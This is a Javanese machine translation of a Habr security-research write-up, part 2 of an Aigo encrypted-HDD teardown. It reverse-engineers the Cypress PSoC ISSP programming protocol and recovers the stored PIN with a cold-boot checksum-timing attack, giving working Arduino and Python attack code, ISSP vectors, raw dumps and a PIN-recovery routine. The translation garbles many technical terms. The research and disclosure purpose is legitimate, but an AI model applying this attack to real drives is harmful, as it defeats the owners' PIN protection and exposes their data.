Mbalikake lan hacking Aigo poto-enkripsi drive HDD external. Part 2: Njupuk dump saka Cypress PSoC

Iki minangka bagean kapindho lan pungkasan artikel babagan hacking drive enkripsi dhiri eksternal. Ayo kula ngelingake sampeyan sing kolega bubar nggawa kula hard drive Patriot (Aigo) SK8671, lan aku mutusaké kanggo mbalikke, lan saiki aku nuduhake apa metu saka iku. Sadurunge maca luwih lanjut, priksa manawa maca bagean pisanan artikel.

4. Kita wiwiti njupuk dump saka PSoC flash drive internal
5. Protokol ISSP
– 5.1. Apa ISSP
– 5.2. Vektor Demystifying
– 5.3. Komunikasi karo PSoC
– 5.4. Identifikasi register on-chip
– 5.5. Bit keamanan
6. Serangan pisanan (gagal): ROMX
7. Serangan kapindho: Cold Boot Tracing
– 7.1. Implementasine
– 7.2. Maca asil
– 7.3. Flash binar rekonstruksi
– 7.4. Nemokake alamat panyimpenan kode PIN
– 7.5. Njupuk dump blok No. 126
– 7.6. Recovery kode PIN
8. Apa sabanjure?
9. Kesimpulan

Mbalikake lan hacking Aigo poto-enkripsi drive HDD external. Part 2: Njupuk dump saka Cypress PSoC


4. Kita wiwiti njupuk dump saka PSoC flash drive internal

Dadi, kabeh nuduhake (kaya sing ditetepake ing [bagean pisanan] ()) yen kode PIN disimpen ing jero lampu kilat PSoC. Mulane, kita kudu maca ambane lampu kilat iki. Ing ngarep karya perlu:

  • ngontrol "komunikasi" karo mikrokontroler;
  • golek cara kanggo mriksa apa "komunikasi" iki dilindhungi saka maca saka njaba;
  • golek cara kanggo ngliwati pangayoman.

Ana rong panggonan kanggo nggoleki kode PIN sing bener:

  • memori flash internal;
  • SRAM, ing ngendi kode pin bisa disimpen kanggo mbandhingake karo kode pin sing dilebokake pangguna.

Ing ngarep, aku bakal nyathet yen aku isih bisa mbuwang drive flash PSoC internal - ngliwati sistem keamanan nggunakake serangan hardware sing diarani "cold boot tracing" - sawise mbalikke kemampuan protokol ISSP sing ora didokumentasikan. Iki ngidini aku langsung mbucal kode PIN sing nyata.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Kode program pungkasan:

5. Protokol ISSP

5.1. Apa ISSP

"Komunikasi" karo mikrokontroler bisa beda-beda: saka "vendor menyang vendor" kanggo interaksi nggunakake protokol serial (contone, ICSP kanggo Microchip PIC).

Cypress duwe protokol proprietary dhewe kanggo iki, disebut ISSP (in-system serial programming protocol), sing sebagian diterangake ing spesifikasi teknis. Paten US7185162 uga menehi sawetara informasi. Ana uga sing padha karo OpenSource sing diarani HSSP (bakal digunakake mengko). ISSP kerjane kaya ing ngisor iki:

  • urip maneh PSoC;
  • output nomer tenung menyang pin data serial PSoC iki; kanggo ngetik mode pemrograman eksternal;
  • ngirim printah, kang dawa dicokot strings disebut "vektor".

Dokumentasi ISSP nemtokake vektor kasebut mung kanggo sawetara prentah:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (pilihan 3V lan 5V)
  • ID-SETUP
  • MACA-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, ngendi dddddddd=block #
  • BULK BULK
  • PROGRAM-BLOK
  • VERIFIKASI-SETUP
  • READ-BYTE: 10110aaaaaZDDDDDDDDZ1, ngendi DDDDDDDD = data metu, aaaaaa = alamat (6 bit)
  • WRITE-BYTE: 10010aaaaaaddddddd111, ngendi dddddddd = data ing, aaaaaa = alamat (6 bit)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, ngendi DDDDDDDDDDDDDDDDDD = data metu: checksum piranti
  • Mbusak BLOK

Contone, vektor kanggo Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Kabeh vektor duwe dawa sing padha: 22 bit. Dokumentasi HSSP duwe sawetara informasi tambahan babagan ISSP: "Vektor ISSP ora luwih saka urutan sing nggambarake sekumpulan instruksi."

5.2. Vektor Demystifying

Ayo ngerteni apa sing kedadeyan ing kene. Kaping pisanan, aku nganggep manawa vektor sing padha iki minangka versi mentah saka instruksi M8C, nanging sawise mriksa hipotesis iki, aku nemokake manawa opcode operasi kasebut ora cocog.

Banjur aku googled vektor ing ndhuwur lan ketemu Mangkene sinau ngendi penulis, senajan ora pindhah menyang rinci, menehi sawetara tips migunani: "Saben instruksi wiwit karo telung bit sing cocog karo siji saka papat mnemonik (maca saka RAM, nulis kanggo RAM, maca ndhaftar, nulis ndhaftar). Banjur ana 8 bit alamat, diikuti 8 bit data (maca utawa nulis) lan pungkasane telung bit mandeg.

Banjur aku bisa glean sawetara informasi banget migunani saka ROM Pengawas (SROM) bagean. manual teknis. SROM minangka ROM hard-coded ing PSoC sing nyedhiyakake fungsi utilitas (kanthi cara sing padha karo Syscall) kanggo kode program sing mlaku ing ruang pangguna:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: HapusBlock
  • 06h: Tabel Waca
  • 07h: CheckSum
  • 08h: Kalibrasi0
  • 09h: Kalibrasi1

Kanthi mbandhingaké jeneng vektor kanggo fungsi SROM, kita bisa map macem-macem operasi didhukung dening protokol iki kanggo paramèter SROM samesthine. Thanks kanggo iki, kita bisa decode telung bit pisanan saka vektor ISSP:

  • 100 => "wrem"
  • 101 => "Redmem"
  • 110 => "wreg"
  • 111 => "dreg"

Nanging, pangerten lengkap babagan proses on-chip mung bisa dipikolehi liwat komunikasi langsung karo PSoC.

5.3. Komunikasi karo PSoC

Wiwit Dirk Petrautsky wis porting kode HSSP Cypress ing Arduino, Aku digunakake Arduino Uno kanggo nyambung menyang konektor ISSP Papan keyboard.

Wigati dimangerteni manawa sajrone riset, aku ngganti kode Dirk rada suwe. Sampeyan bisa nemokake modifikasiku ing GitHub: kene lan skrip Python sing cocog kanggo komunikasi karo Arduino, ing gudangku cypress_psoc_tools.

Dadi, nggunakake Arduino, aku mung nggunakake vektor "resmi" kanggo "komunikasi". Aku nyoba maca ROM internal nggunakake printah VERIFY. Kaya sing dikarepake, aku ora bisa nindakake iki. Mbokmenawa amarga kasunyatan manawa bit proteksi maca diaktifake ing flash drive.

Banjur aku nggawe sawetara vektor prasaja dhewe kanggo nulis lan maca memori / ndhaftar. Elinga yen kita bisa maca kabeh SROM sanajan flash drive dilindhungi!

5.4. Identifikasi register on-chip

Sawise ndeleng ing "disassembled" vektor, Aku katutup sing piranti nggunakake undocumented ndhaftar (0xF8-0xFA) kanggo nemtokake opcodes M8C, kang kaleksanan langsung, bypassing pangayoman. Iki ngidini aku mbukak macem-macem opcode kayata "ADD", "MOV A, X", "PUSH" utawa "JMP". Thanks kanggo wong-wong mau (kanthi ndeleng efek samping sing ana ing registrasi) aku bisa nemtokake manawa registrasi sing ora didokumentasikan kasebut minangka registrasi biasa (A, X, SP lan PC).

Akibaté, kode "disassembled" digawe dening alat HSSP_disas.rb katon kaya iki (Aku nambah komentar kanggo gamblang):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Bit keamanan

Ing tahap iki, aku wis bisa komunikasi karo PSoC, nanging aku isih ora duwe informasi sing bisa dipercaya babagan bit keamanan flash drive. Aku kaget banget amarga Cypress ora nyedhiyakake pangguna piranti kasebut kanthi cara apa wae kanggo mriksa manawa proteksi kasebut diaktifake. Aku ndudhuk luwih jero menyang Google kanggo pungkasane ngerti yen kode HSSP sing diwenehake dening Cypress dianyari sawise Dirk ngeculake modifikasi. Lan supaya! Vektor anyar iki wis katon:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Nggunakake vektor iki (ndeleng read_security_data ing psoc.py), kita entuk kabeh bit keamanan ing SRAM ing 0x80, ing ngendi ana rong bit saben blok sing dilindhungi.

Asilé depressing: kabeh dilindhungi ing mode "mateni maca lan nulis eksternal". Mulane, ora mung bisa maca apa-apa saka flash drive, nanging uga ora bisa nulis apa-apa (contone, kanggo nginstal dumper ROM ana). Lan siji-sijine cara kanggo mateni proteksi yaiku mbusak kabeh chip. 🙁

6. Serangan pisanan (gagal): ROMX

Nanging, kita bisa nyoba trik ing ngisor iki: awit kita duwe kemampuan kanggo nglakokaké opcodes sembarang, kok ora nglakokaké ROMX, kang digunakake kanggo maca memori flash? Pendekatan iki nduweni kemungkinan sukses. Amarga fungsi ReadBlock sing maca data saka SROM (sing digunakake dening vektor) mriksa apa disebut saka ISSP. Nanging, opcode ROMX bisa uga ora duwe cek kasebut. Dadi iki kode Python (sawise nambah sawetara kelas helper menyang kode Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Sayange kode iki ora bisa. 🙁 Utawa luwih bisa digunakake, nanging ing output kita entuk opcode dhewe (0x28 0x30 0x40)! Aku ora mikir sing fungsi cocog piranti minangka unsur pangayoman diwaca. Iki luwih kaya trik teknik: nalika nglakokake opcode eksternal, bis ROM dialihake menyang buffer sementara.

7. Serangan kapindho: Cold Boot Tracing

Wiwit trik ROMX ora bisa, aku wiwit mikir babagan variasi liyane trik iki - diterangake ing publikasi "Ngeculake Cahya Kakehan ing Perlindhungan Firmware Mikrokontroler".

7.1. Implementasine

Dokumentasi ISSP nyedhiyakake vektor ing ngisor iki kanggo CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Iki ateges nelpon fungsi SROM 0x07, kaya sing ditampilake ing dokumentasi (tambang miring):

Verifikasi checksum fungsi iki. Iku ngetung checksum 16-bit saka jumlah blok sing ditemtokake pangguna ing siji flash bank, wiwit saka nol. Parameter BLOCKID digunakake kanggo ngliwati jumlah blok sing bakal digunakake nalika ngetung checksum. Nilai "1" mung bakal ngetung checksum kanggo blok nul; dene "0" bakal nyebabake total checksum kabeh 256 blok flash bank bakal diitung. Checksum 16-bit bali liwat KEY1 lan KEY2. Parameter KEY1 nyimpen 8 bit checksum, lan parameter KEY2 nyimpen 8 bit tingkat dhuwur. Kanggo piranti kanthi sawetara bank lampu kilat, fungsi checksum diarani kanggo saben piranti kanthi kapisah. Nomer bank sing bakal digunakake disetel dening registrasi FLS_PR1 (kanthi nyetel bit sing cocog karo target flash bank).

Elinga yen iki minangka checksum sing prasaja: bita mung ditambahake siji-sijine; ora quirks CRC apik. Kajaba iku, ngerti yen inti M8C duwe registrasi sing cilik banget, aku nganggep yen nalika ngitung checksum, nilai penengah bakal dicathet ing variabel sing padha sing pungkasane bakal dadi output: KEY1 (0xF8) / KEY2 ( 0xF9).

Dadi ing teori, seranganku katon kaya iki:

  1. Kita nyambung liwat ISSP.
  2. Kita miwiti pitungan checksum nggunakake vektor CHECKSUM-SETUP.
  3. Kita urip maneh prosesor sawise wektu tartamtu T.
  4. Kita maca RAM kanggo entuk checksum saiki C.
  5. Baleni langkah 3 lan 4, nambah T sethithik saben wektu.
  6. Kita mbalekake data saka flash drive kanthi nyuda checksum C sadurunge saka sing saiki.

Nanging, ana masalah: vektor Initialize-1 sing kudu dikirim sawise urip maneh nimpa KEY1 lan KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Kode iki overwrites checksum larang regane dening nelpon Calibrate1 (fungsi SROM 9) ... Mungkin kita mung bisa ngirim nomer tenung (saka awal kode ndhuwur) kanggo ngetik mode program, lan banjur maca SRAM? Lan ya, kerjane! Kode Arduino sing ngleksanakake serangan iki cukup prasaja:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Waca checkum_delay.
  2. Run checksum pitungan (send_checksum_v).
  3. Ngenteni wektu tartamtu; njupuk menyang akun pitfalls ing ngisor iki:
    • Aku mbuwang akeh wektu nganti aku ngerti apa sing dadi tundhaMikrodetik dianggo kanthi bener mung kanthi wektu tundha ora ngluwihi 16383 μs;
    • lan banjur mateni wektu sing padha nganti aku nemokake yen delayMicroseconds, yen 0 diterusake minangka input, bisa digunakake kanthi ora bener!
  4. Urip maneh PSoC menyang mode pemrograman (kita mung ngirim nomer ajaib, tanpa ngirim vektor initialization).

Kode pungkasan ing Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Ing ringkesan, apa sing ditindakake kode iki:

  1. Reboot PSoC (lan ngirim nomer ajaib).
  2. Ngirim vektor initialization lengkap.
  3. Telpon fungsi Arduino Cmnd_STK_START_CSUM (0x85), ngendi wektu tundha ing microseconds liwati minangka parameter.
  4. Maca checksum (0xF8 lan 0xF9) lan register sing ora didokumentasikan 0xF1.

Kode iki dieksekusi kaping 10 sajrone 1 mikrodetik. 0xF1 kalebu ing kene amarga mung siji-sijine ndhaptar sing diganti nalika ngitung checksum. Bisa uga ana sawetara jinis variabel sementara sing digunakake dening unit logika aritmetika. Wigati hack ala sing digunakake kanggo ngreset Arduino nggunakake picocom nalika Arduino mandheg nuduhake pratandha urip (ora ngerti sebabe).

7.2. Maca asil

Asil saka skrip Python katon kaya iki (disederhanakake kanggo maca):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Yen ngandika, kita duwe masalah: wiwit kita operasi karo checksum nyata, byte null ora ngganti nilai diwaca. Nanging, amarga kabeh prosedur pitungan (8192 bait) njupuk 0,1478 detik (kanthi variasi tipis saben diluncurake), sing padha karo kira-kira 18,04 μs saben bait, kita bisa nggunakake wektu iki kanggo mriksa nilai checksum ing wektu sing cocog. Kanggo mlaku pisanan, kabeh diwaca kanthi gampang, amarga durasi prosedur komputasi tansah meh padha. Nanging, pungkasan dump iki kurang akurat amarga "penyimpangan wektu cilik" ing saben roto nambah dadi signifikan:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Iku 10 dumps kanggo saben wektu tundha mikrodetik. Wektu operasi total kanggo mbuwang kabeh 8192 bita saka flash drive kira-kira 48 jam.

7.3. Flash binar rekonstruksi

Aku durung rampung nulis kode sing bakal rampung reconstruct kode program saka flash drive, njupuk menyang akun kabeh panyimpangan wektu. Nanging, aku wis mbalekake wiwitan kode iki. Kanggo mesthekake yen aku nindakake kanthi bener, aku disassembled nggunakake m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Katon cukup masuk akal!

7.4. Nemokake alamat panyimpenan kode PIN

Saiki kita bisa maca checksum ing wektu sing dibutuhake, kita bisa kanthi gampang mriksa kepiye lan ing endi owah-owahan nalika:

  • ketik kode PIN sing salah;
  • ngganti kode pin.

Pisanan, kanggo nemokake alamat panyimpenan kira-kira, aku njupuk dump checksum ing 10 ms tambahan sawise urip maneh. Banjur aku salah ngetik PIN lan nindakake padha.

Asil kasebut ora nyenengake, amarga akeh owah-owahan. Nanging ing pungkasan aku bisa nemtokake manawa checksum diganti ing antarane 120000 µs lan 140000 µs wektu tundha. Nanging "kode PIN" sing daktampilake ana ora bener - amarga artefak prosedur delayMicroseconds, sing nindakake perkara aneh nalika 0 diterusake.

Banjur, sawise ngentekake meh 3 jam, aku eling yen sistem SROM nelpon CheckSum nampa argumentasi minangka input sing nemtokake jumlah blok kanggo checksum! Iku. kita bisa gampang localize alamat panyimpenan saka kode PIN lan counter "nyoba salah", karo akurasi nganti pemblokiran 64-bait.

Laku wiwitanku ngasilake asil ing ngisor iki:

Mbalikake lan hacking Aigo poto-enkripsi drive HDD external. Part 2: Njupuk dump saka Cypress PSoC

Banjur aku ngganti kode PIN saka "123456" dadi "1234567" lan entuk:

Mbalikake lan hacking Aigo poto-enkripsi drive HDD external. Part 2: Njupuk dump saka Cypress PSoC

Mangkono, kode PIN lan counter saka upaya sing salah katon disimpen ing blok No. 126.

7.5. Njupuk dump blok No. 126

Block # 126 kudu dumunung nang endi wae watara 125x64x18 = 144000μs, saka wiwitan pitungan checksum, ing mbucal lengkap, lan katon cukup masuk akal. Banjur, sawise nyaring kanthi manual akeh dumps sing ora bener (amarga akumulasi "penyimpangan wektu cilik"), aku entuk bait kasebut (ing latensi 145527 μs):

Mbalikake lan hacking Aigo poto-enkripsi drive HDD external. Part 2: Njupuk dump saka Cypress PSoC

Iku cukup ketok sing kode PIN disimpen ing wangun unencrypted! Nilai kasebut, mesthi, ora ditulis ing kode ASCII, nanging ternyata, padha nggambarake wacan sing dijupuk saka keyboard kapasitif.

Akhire, aku mlayu sawetara tes liyane kanggo nemokake ngendi counter nyoba ala disimpen. Iki asile:

Mbalikake lan hacking Aigo poto-enkripsi drive HDD external. Part 2: Njupuk dump saka Cypress PSoC

0xFF - tegese "15 usaha" lan nyuda saben gagal.

7.6. Recovery kode PIN

Iki kode elekku sing nggabungake ing ndhuwur:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Mangkene asil eksekusi:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hore! Nyambut gawe!

Elinga yen nilai latensi sing aku gunakake bisa uga cocog karo siji PSoC tartamtu - sing digunakake.

8. Apa sabanjure?

Dadi, ayo ngringkes ing sisih PSoC, ing konteks drive Aigo kita:

  • kita bisa maca SRAM sanajan diwaca dilindhungi;
  • Kita bisa ngliwati proteksi anti-swipe kanthi nggunakake serangan trace boot kadhemen lan langsung maca kode PIN.

Nanging, serangan kita duwe sawetara cacat amarga masalah sinkronisasi. Bisa ditambahake kaya ing ngisor iki:

  • nulis sarana kanggo decode data output sing dipikolehi minangka asil saka serangan "cold boot trace";
  • gunakake gadget FPGA kanggo nggawe wektu tundha sing luwih tepat (utawa gunakake timer hardware Arduino);
  • nyoba serangan liyane: ketik kode PIN sengaja salah, urip maneh lan mbucal RAM, wus sing kode PIN bener bakal disimpen ing RAM kanggo comparison. Nanging, iki ora supaya gampang apa ing Arduino, wiwit tingkat sinyal Arduino 5 volt, nalika Papan kita nliti karya karo 3,3 sinyal volt.

Siji bab sing menarik sing bisa dicoba yaiku muter tingkat voltase kanggo ngliwati proteksi maca. Yen pendekatan iki bisa digunakake, kita bakal bisa entuk data sing akurat saka flash drive - tinimbang ngandelake maca checksum kanthi wektu tundha sing ora tepat.

Wiwit SROM mbokmenawa maca bit njaga liwat telpon sistem ReadBlock, kita bisa nindakake bab sing padha diterangake ing blog Dmitry Nedospasov - implementasi maneh saka serangan Chris Gerlinski, diumumake ing konferensi kasebut "REcon Brussels 2017".

Bab liyane sing nyenengake sing bisa ditindakake yaiku nggiling kasus kasebut saka chip: njupuk SRAM dump, ngenali telpon lan kerentanan sistem sing ora didokumentasikan.

9. Kesimpulan

Dadi, proteksi drive iki akeh sing dikarepake, amarga nggunakake mikrokontroler biasa (ora "hardened") kanggo nyimpen kode PIN ... Kajaba iku, aku durung ndeleng (durung) kepiye kedadeyan data. enkripsi ing piranti iki!

Apa sampeyan bisa menehi rekomendasi kanggo Aigo? Sawise nganalisa sawetara model drive HDD sing dienkripsi, ing 2015 aku nggawe presentasi ing SyScan, kang sinaoni masalah keamanan sawetara drive HDD external, lan Rekomendasi apa bisa apik ing wong. 🙂

Aku ngenteni rong akhir minggu lan sawetara sore kanggo nindakake riset iki. Total kira-kira 40 jam. Ngetung saka wiwitan (nalika mbukak disk) nganti pungkasan (kode PIN mbucal). 40 jam sing padha kalebu wektu aku nulis artikel iki. Iku trip banget macem.

Source: www.habr.com

Add a comment